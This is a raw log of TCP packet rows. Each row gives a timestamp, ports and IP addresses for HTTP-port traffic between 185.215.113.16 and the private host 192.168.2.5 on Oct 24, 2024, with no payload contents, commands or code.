Oct 24, 2024 19:30:08.955346107 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.955362082 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.955375910 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.955378056 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.955391884 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.955394030 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.955408096 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.955421925 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.955421925 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.955424070 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.955432892 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.955440998 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.955446959 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.955457926 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.955462933 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.955472946 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.955476046 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.955495119 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.955498934 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.955513954 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.955535889 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.955653906 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.955668926 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.955683947 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.955693007 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.955699921 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.955713987 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.955724001 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.955729008 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.955739975 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.955745935 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.955756903 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.955764055 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.955773115 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.955780983 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.955787897 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.955799103 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.955810070 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.955817938 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.955826998 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.955836058 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.955842018 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.955853939 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.955858946 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.955868006 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.955874920 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.955883980 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.955890894 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.955902100 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.955913067 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.955925941 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.955928087 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.955950975 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.955955982 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.955965996 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.955980062 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.955980062 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.955998898 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.956003904 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.956017971 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.956026077 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.956032991 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.956048012 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.956053972 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.956063986 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.956078053 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.956082106 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.956094027 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.956100941 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.956108093 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.956126928 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.956131935 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.956146955 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.956154108 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.956161022 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.956176996 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.956178904 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.956196070 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.956219912 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.956228018 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.956243038 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.956259966 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.956268072 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.956275940 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.956280947 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.956291914 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.956307888 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.956314087 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.956331015 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.956334114 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.956334114 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.956347942 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.956351995 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.956365108 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.956383944 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.956455946 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.956470013 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.956485033 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.956495047 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.956500053 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.956511974 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.956515074 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.956526995 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.956530094 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.956546068 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.956572056 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.956583977 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.956609011 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.956628084 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.956629992 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.956641912 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.956650972 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.956657887 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.956664085 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.956672907 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.956681967 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.956688881 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.956701040 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.956703901 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.956718922 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.956742048 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.956846952 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.956861973 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.956876993 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.956885099 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.956892967 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.956902981 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.956907988 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.956931114 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.956952095 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.956984043 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.956996918 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.957019091 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.957020044 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.957034111 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.957039118 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.957048893 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.957051992 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.957065105 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.957070112 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.957096100 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.957106113 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.957201004 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.957215071 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.957230091 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.957242966 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.957246065 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.957251072 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.957261086 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.957271099 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.957288027 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.957456112 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.957470894 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.957490921 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.957494020 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.957520008 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.957520008 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.957535028 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.957539082 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.957551003 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.957557917 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.957565069 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.957577944 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.957592964 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.957608938 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.021904945 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.021934986 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.021950006 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.021965027 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.021972895 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.021981955 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.021996975 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.022000074 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.022013903 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.022036076 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.022052050 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.022073984 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.022088051 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.022104979 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.022106886 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.022119999 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.022125006 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.022135019 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.022140980 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.022156954 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.022161007 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.022172928 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.022176027 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.022187948 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.022191048 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.022207022 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.022207975 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.022227049 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.022244930 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.023464918 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.023494005 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.023504019 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.023514032 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.023524046 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.023542881 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.023601055 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.023617983 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.023634911 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.023647070 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.023648024 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.023669004 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.023680925 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.023684978 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.023701906 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.023706913 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.023715019 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.023731947 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.023739100 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.023751020 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.023765087 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.023768902 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.023780107 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.023796082 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.023806095 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.023819923 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.023834944 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.023840904 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.023850918 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.023860931 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.023868084 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.023875952 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.023883104 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.023893118 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.023910046 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.023927927 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.023946047 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.023960114 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.023974895 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.023981094 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.023989916 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.023998976 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.024005890 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024013996 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.024029016 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024029970 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.024044037 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024046898 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.024059057 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024065018 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.024075031 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024080038 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.024090052 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024097919 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.024106979 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024112940 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.024121046 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024128914 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.024137974 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024146080 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.024153948 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024163961 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.024183035 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.024199963 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.024270058 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024283886 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024300098 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024302959 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.024315119 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024319887 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.024331093 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024337053 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.024347067 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024353981 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.024363041 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024369001 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.024379015 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024383068 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.024398088 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024400949 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.024414062 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024418116 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.024429083 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024431944 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.024449110 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.024463892 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.024590015 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024605989 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024621964 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024629116 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.024637938 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024646044 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.024652004 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024663925 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.024668932 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024682999 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024683952 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.024694920 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.024698973 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024722099 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024729013 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.024736881 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024749041 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.024749041 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024765015 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024774075 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.024780035 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024789095 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.024795055 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024804115 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.024808884 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024821043 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.024826050 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024836063 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.024846077 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024851084 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.024861097 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024867058 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.024877071 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024883986 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.024892092 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024900913 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.024909019 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024915934 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.024924040 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024939060 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024946928 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.024955988 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024960995 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.024974108 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.024992943 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.024996042 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.025011063 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.025011063 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.025024891 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.025033951 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.025039911 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.025049925 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.025055885 CEST	80	49959	185.215.113.16	192.168.2.5
